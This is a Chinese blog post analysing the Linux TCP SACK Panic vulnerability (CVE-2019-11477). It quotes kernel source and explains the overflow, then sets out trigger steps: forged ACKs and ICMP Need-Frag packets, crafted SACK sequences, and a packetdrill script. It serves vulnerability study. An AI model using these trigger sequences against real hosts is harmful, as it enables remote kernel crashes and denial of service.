几天前,为了备注,2019年的6月17号吧,一个Linux/FreeBSD系统的漏洞爆出,就是CVE-2019-11477,Netflix的公告为:
https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md
Redhat的链接为:
https://access.redhat.com/security/vulnerabilities/tcpsack
在当日得到了消息,然后呼哈大笑,忽然想起奇书名著《黑客大曝光》的调调,知道这这么回事,简单的一个POC说明,却没有EXP,呵呵了。
没意思。
其实这个公告只是一个POC说明,证明了 代码那么写确实是有问题的! 具体如何来触发问题,却至今还未知。(文末有好玩的packetdrill脚本哦…)
POC的证明如下:
确实是会溢出,然而想要制造这么个溢出,却是另一回事。POC和EXP是两回事,很多人往往混淆。
先说结论, CVE-2019-11477漏洞的危害并没有那么严重,不必惊慌。
在阅读下面的内容之前,还是希望把上面我发的链接仔细梳理梳理,此外还需要把Linux系统协议栈TCP关于SACK的处理流程仔细梳理一番,不然下面的内容可能会不知所云,就更别说有多么好玩了。
看了几个关于CVE-2019-11477的POC/EXP报文流程的尝试,几乎总是纠结于 一次性send出32k非线性scatter/gather IO(分散聚集IO)的数据,重复17次或者更多,然后就被堵在 如何一次性发出32k这么大的数据 这个难题上了。 诚然,这个问题是必须解决的,即每次必须发送什么样的数据,但是这不是触发漏洞的关键因素,这只是一个要求。
实际上,触发SACK Panic漏洞的关键根本就不在 “一次性发多少数据” 这里,而是在 “发送队列中有多少数据可供合并!” 这里的数据是以字节为单位的,而不是包。
所以,我把 一次性发送32Kb的scatter/gather IO(分散聚集IO)数据,重复至少17次 这个要求放在本文的最后去满足,仅仅提示一点,这个漏洞的触发确实和scatter/gather IO(分散聚集IO)有关,不过这里,暂且绕过它,先说发送队列层面的原理。即假设没有scatter/gather IO这回事。
这个CVE-2019-11477漏洞的关键是 SACK段的合并操作 ,最终使得被合并SACK段的总大小超过了阈值:
Multiple such SKB in the list are merged together into one to efficiently process different SACK blocks. It involves moving data from one SKB to another in the list. During this movement of data, the SKB structure can reach its maximum limit of 17 fragments and ‘tcp_gso_segs’ parameter can overflow and hit the BUG_ON() call below resulting in the said kernel panic issue.
注意,sack段被合并(merge)的目标是 “to efficiently process different SACK blocks” 这是为了抑制另外一种DDoS,即伪造畸变的SACK序列,让发送端的CPU消耗于发送队列的链表操作,排序,遍历等。在4.15内核,TCP的发送队列被重构成了红黑树,进一步抑制了这种DDoS攻击。
然而,这种善良的本意却无心插柳了一个漏洞,即CVE-2019-11477。
CVE-2019-11477的攻击EXP要点主要有以下三点:
其中,第一个要点已经有办法解决,难的是第二个。如何让被攻击侧携带40个字节的选项呢?
我们能列举出的选项,时间戳,SACK…如何才能 驱使 被攻击的发送端携带40字节之多的选项呢?用 诱导 这个词比较合适。
我们知道,TCP选项最大40字节,SACK选项最多容纳4个段,满4个段的SACK就能占掉 ( 4 × 2 ) × 4 + 2 = 34 (4\times2)\times4+2=34 (4×2)×4+2=34字节的选项空间,我们还知道,TCP时间戳选项一共10个字节,那么除却时间戳,还需要30字节就够了,我建议以下的TCP选项组合:
时间戳+1个SACK段+1个MD5选项=10字节+20字节+10字节=40字节
然而这需要被攻击者内核支持TCP MD5选项。我的手改版是现编译的,特意支持的,但是互联网线上的内核是否大规模支持MD5选项,不得而知。
此外,还可以诱导被攻击侧组合下面的TCP选项:
时间戳+3个SACK段+4个padding NOP=10字节+26字节+4字节=40字节
不过我没有试这个,反而舍近求远用了MD5…并且为了触发漏洞,免除了校验。(不过,事后我进行了重测,我用packetdrill模拟出一个8字节raw data的例子,可以在本文的最后例行皮鞋章节前面找到。)
其实使用 时间戳+3个SACK+4个Padding NOP 更加容易些。
内核在拼TCP Option时,按照其格式每一类Option都是 TLV 的结构,其中 Type 有1个字节, L 有1个字节,为了对齐,内核会把头2个字节的 TL 给padding上2个NOP,也就是Padding上2个字节,正好凑成4字节对齐,以时间戳为例:
*ptr++ = htonl((TCPOPT_NOP << 24) |
(TCPOPT_NOP << 16) |
(TCPOPT_TIMESTAMP << 8) | // Type
TCPOLEN_TIMESTAMP); // Length
...
*ptr++ = htonl((TCPOPT_NOP << 24) |
(TCPOPT_NOP << 16) |
(TCPOPT_SACK << 8) | // Type
(TCPOLEN_SACK_BASE + (opts->num_sack_blocks *
TCPOLEN_SACK_PERBLOCK))); // Length
for (this_sack = 0; this_sack < opts->num_sack_blocks;
++this_sack) {
*ptr++ = htonl(sp[this_sack].start_seq);
*ptr++ = htonl(sp[this_sack].end_seq);
}
接下来,诱导被攻击侧发送1个SACK选项也有办法,比如攻击者可以主动给被攻击侧发送带有一个或者多个空洞的数据序列,诱使被攻击侧SACK空洞之后的数据。
但其实,非常难。
本文将给出一例EXP报文的触发逻辑。但我是改了内核的,手改了内核的初始拥塞窗口,加入了TCP MD5选项的支持,且增加了超时容忍时间。
如果使用原生的内核,想要实施攻击就更加不易了。
在本例中,若想实施攻击,首先有个前置条件,假设当前的mss为1400,则必须让被攻击的发送端的发送队列里必须至少有 ( 17 + 1 ) × 32 × 1024 1400 ) (\dfrac{17+1)\times32\times1024}{1400}) (140017+1)×32×1024) 个数据包,这里的 ( 17 + 1 ) (17+1) (17+1)指的是 发送队列里面已经发送尚未确认的数据包数量必须至少18个,17个用来合并,1个为UNA空洞。
我们算一下 ( 17 + 1 ) × 32 × 1024 1400 \dfrac{(17+1)\times32\times1024}{1400} 1400(17+1)×32×1024大概需要多大的拥塞窗口,以包计数,也就是 400 ~ 500 400~500 400~500左右的拥塞窗口。
这并不难,攻击者可以拉取被攻击方的一个大文件, 不断伪造正常的ACK确认报文,诱导被攻击的发送端拥塞窗口不断张开,如果怕ACK丢失,可以每个ACK发两遍 ,只有发送端的拥塞窗口涨得足够大,其发送队列中才能容纳至少 ( 17 + 1 ) × 32 × 1024 (17+1)\times32\times1024 (17+1)×32×1024这么多字节的数据包。
同时攻击者伪造通告非常的接收窗口使的被攻击的发送端的发送窗口不断增加:
snd_wnd=min(songestion_wnd, receive_wnd);
两个措施,便可诱导被攻击侧发送更多的 尚未确认的包 ,以被攻击者伪造包序列以利用漏洞。
如果我们一开始就构建mss为48而不是1400的握手包去连接被攻击者的话,我们就需要诱导它的拥塞窗口达到 ( 17 + 1 ) × 32 × 1024 8 \dfrac{(17+1)\times32\times1024}{8} 8(17+1)×32×1024这么大,这就困难了。
那么既然漏洞在mss为48时才会触发,现在为了快速增长拥塞窗口,攻击者的mss协商成了1400,那么如何让其在攻击前置条件(即发送队列里已经堆积了总大小为 17 × 32 × 1024 17\times32\times1024 17×32×1024字节的包)满足后,如果让mss变成48而实施攻击呢?
答案是伪造ICMP Need Frag序列,迫使被攻击者自己重置mss。
好了,在满足了前置条件后,此时被攻击的发送端的发送队列情况是:
接下来,一个合理的触发操作序列为:
void tcp_enter_loss(struct sock *sk)
{
..
skb = tcp_write_queue_head(sk);
is_reneg = skb && (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED);
...
mark_lost = (!(TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED) ||
is_reneg);
if (mark_lost)
tcp_sum_lost(tp, skb);
if (mark_lost) {
TCP_SKB_CB(skb)->sacked &= ~TCPCB_SACKED_ACKED;
TCP_SKB_CB(skb)->sacked |= TCPCB_LOST;
tp->lost_out += tcp_skb_pcount(skb);
tp->retransmit_high = TCP_SKB_CB(skb)->end_seq;
}
...
}
```
static struct sk_buff *tcp_shift_skb_data(struct sock *sk, struct sk_buff *skb,
struct tcp_sacktag_state *state,
u32 start_seq, u32 end_seq,
bool dup_sack)
{
…
len = end_seq - TCP_SKB_CB(skb)->seq; // len就是后面将要被合并到前面那个8字节小包的大包的长度,即int型值 (17*32*1024-8-8)=557040
pcount = len / mss; // pcount就是即将被合并的大包的以mss为单位的段数,即int型的(17*32*1024-8-8)/8=69630
if (!skb_shift(prev, skb, len)) // 大包顺利合入第一个小包
goto fallback;
// tcp_shifted_skb 中pconut为大包段数69630,skb的gso_segs为在超时重传中tcp_fragmeng中被重置的溢出值4095。
// 4095<69631!命中BUG_ON,gg!
if (!tcp_shifted_skb(sk, skb, state, pcount, len, mss, dup_sack))
goto out;
插播一段tcp_fragment的逻辑。
在GSO启用的情况下,当重传一个长度len大于mss的包时,重传逻辑会将其分为两部分:
分割逻辑如下:
// __tcp_retransmit_skb 在发现当前mss已经小于skb的len时,将会调用tcp_fragment。
/* Initialize TSO segments for a packet. */
static void tcp_set_skb_tso_segs(const struct sock *sk, struct sk_buff *skb,
unsigned int mss_now)
{
struct skb_shared_info *shinfo = skb_shinfo(skb);
/* Make sure we own this skb before messing gso_size/gso_segs */
WARN_ON_ONCE(skb_cloned(skb));
if (skb->len <= mss_now || !sk_can_gso(sk) ||
skb->ip_summed == CHECKSUM_NONE) {
/* Avoid the costly divide in the normal
* non-TSO case.
*/
shinfo->gso_segs = 1;
shinfo->gso_size = 0;
shinfo->gso_type = 0;
} else {
// 这里的除法将会是:(17*32*1024-8)/8,使得u16的gso_segs溢出!
shinfo->gso_segs = DIV_ROUND_UP(skb->len, mss_now);
shinfo->gso_size = mss_now;
shinfo->gso_type = sk->sk_gso_type;
}
}
int tcp_fragment(struct sock *sk, struct sk_buff *skb, u32 len,
unsigned int mss_now)
{
…
/* Fix up tso_factor for both original and new SKB. */
// skb的raw data大小为raw data的mss,也就是8
tcp_set_skb_tso_segs(sk, skb, mss_now);
// buff的大小为合并后的原始skb的大小17*32768字节减去8.
tcp_set_skb_tso_segs(sk, buff, mss_now);
…
}
在描述完一个EXP触发逻辑后,这里再给出一个。
这个是我昨夜值班时想了的,并没有亲自试,所以也只是个想法。该EXP触发逻辑是概率性的大摆拳,没有上一个那么精心Trick。
如果不使用超时重传呢?
注意,这个步骤中没有采用超时重传的间隙,而是采用Linux发包流程中的队列隔断了同步流程,获取概率性的TCP锁空档,进而改变mss。
当然了,这个我并没有测试,根本没有时间。所以,这只是一个想法。
恕不能提供源码和fixed attacked kernel,因为很多人的目的不是学习,而是干坏事。
一天以后,我重新测试了 时间戳+3个SACK+4个Padding NOP 的情况,packetdrill脚本如下:
0 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
+0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
+0 bind(3, ..., ...) = 0
+0 listen(3, 1) = 0
+0 < S 0:0(0) win 32792 <mss 48,sackOK, TS val 100 ecr 0,nop,wscale 7>
+0 > S. 0:0(0) ack 1 <...>
+0 < . 1:1(0) ack 1 win 257
+0 accept(3, ..., ...) = 4
+0 write(4, ..., 200) = 200
// 按照mss=48,发送200字节。每个包的时间戳选项为10字节,T(ype)L(ength)被Padding 2个字节Nop,所以raw data为48-10-2=36字节,以初始cwnd按照下列序列发出:
// 1:37 37:73 73:109 109:145 145:181 181:201
// 1. 攻击者sack除una包之外的一大片,促成merge动作,合并skb
// 2. 攻击者同时发送空洞数据,促使被攻击者填充3个sack段,凑成40字节的options
// 3. UNA后面留2个洞,一个为了sack,另一个为了在RTO后增加cwnd,分割重传后面的合并后的包,从而调用tcp_fragment
// 4. 哦,对了,这里没有sack reneging的伪造...
+0 < . 1:11(10) ack 1 win 0 <sack 73:201,nop,nop>
+0 < . 21:31(10) ack 1 win 0 <sack 73:201,nop,nop>
+0 < . 41:51(10) ack 1 win 0 <sack 73:201,nop,nop>
+0 < . 61:71(10) ack 1 win 0 <sack 73:201,nop,nop>
// 超时期间本可以插入ICMP了…哦不,因为本例子一开始就协商了48字节的mss,所以不需要ICMP了
// 超时后再次以sack触发合并
+0.1 < . 61:71(10) ack 1 win 257 <sack 73:201,nop,nop>
+0.1 < . 61:71(10) ack 1 win 257 <sack 73:201,nop,nop>
+0.1 < . 61:71(10) ack 1 win 257 <sack 73:201,nop,nop>
// 以新的向后滑动的UNA触发cwnd增加,触发合并后的skb被分割重传,触发tcp_fragmeng中溢出
+0.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
+0.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
+0.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
// 超时期间,迫使所有的skb被重置为LOST
// 重新用sack促使合并,触发BUG_ON,从而gg
+1.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
+1.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
+1.1 < . 61:71(10) ack 37 win 257 <sack 73:201,nop,nop>
// Receiver ACKs all data.
+5 < . 1:1(0) ack 201 win 257
抓包如下:
可见,万事俱备,只欠cwnd了。这意味着,这个pdrill脚本前面长一点,多写几个write:
…
write(4, ..., 200) = 200
+0 < . 1:1(0) ack 201 win 257
write(4, ..., 200) = 200
+0 < . 1:1(0) ack 401 win 257
write(4, ..., 200) = 200
+0 < . 1:1(0) ack 601 win 257
…
cwnd就会张开到需要的值了,这样我们根本就不需要伪造ICMP Need Frag报文了,说白了,伪造ICMP就是为了让cwnd内的字节容量涨得快一些,一开始我们设置了比较大的mss,比如1400,然后为了触发除法的u16溢出,才伪造ICMP更新mss的,既然我们能忍耐一开始mss就很小,自然就不必伪造ICMP咯。
已经提示到这里了,如果你真的去尝试,会发现仍然不成功!
唉,怎么会这样呢?如果你systemtap跟代码,会发现SACKed段大概率根本就没有被合并,Why?
scatter/gather IO的要求来了,最后一点,临门一脚,就是它了。
因为你没用scatter/gather IO啊,因此skb_can_shift就会返回false,何谈合并?!只有使用了scatter/gather IO的数据发送,即paged non-linear style send,才会促使skb数据的合并。
即scatter/gather IO每次发送 P A G E _ S I Z E S K B _ F R A G _ P A G E _ O R D E R K B PAGE\_SIZE^{SKB\_FRAG\_PAGE\_ORDER}KB PAGE_SIZESKB_FRAG_PAGE_ORDERKB这么多的数据,保持在send queue中至少18个,才能满足被攻击的要求!
这个scatter/gather IO在高性能下载服务器上非常普遍,这也是ZeroCopy的基础。
因此,你说这个漏洞严重不严重呢?
不多说了。
皮鞋湿了,不会胖。
经理穿着皮鞋能扣篮,但不经常,也不绝对。
正如时间无限的前提下,总会有一立方的空气分子朝着一个方向运动的概率,虽然概率很低。
所以,经理一定有概率可以穿着皮鞋扣篮。虽然这并不意味着经理扣篮就一定能成功。
经理穿皮鞋扣篮可以用泊松分布来建模(无论跳多少次,高度几乎总是一个固定值),把经理的弹跳高度15公分填入兰姆达,然后让k等于扣篮所需的弹跳高度比如100公分,只要概率不等于0,就是有可能。越大越经常,越绝对。如果很小,就是但不经常,也不绝对。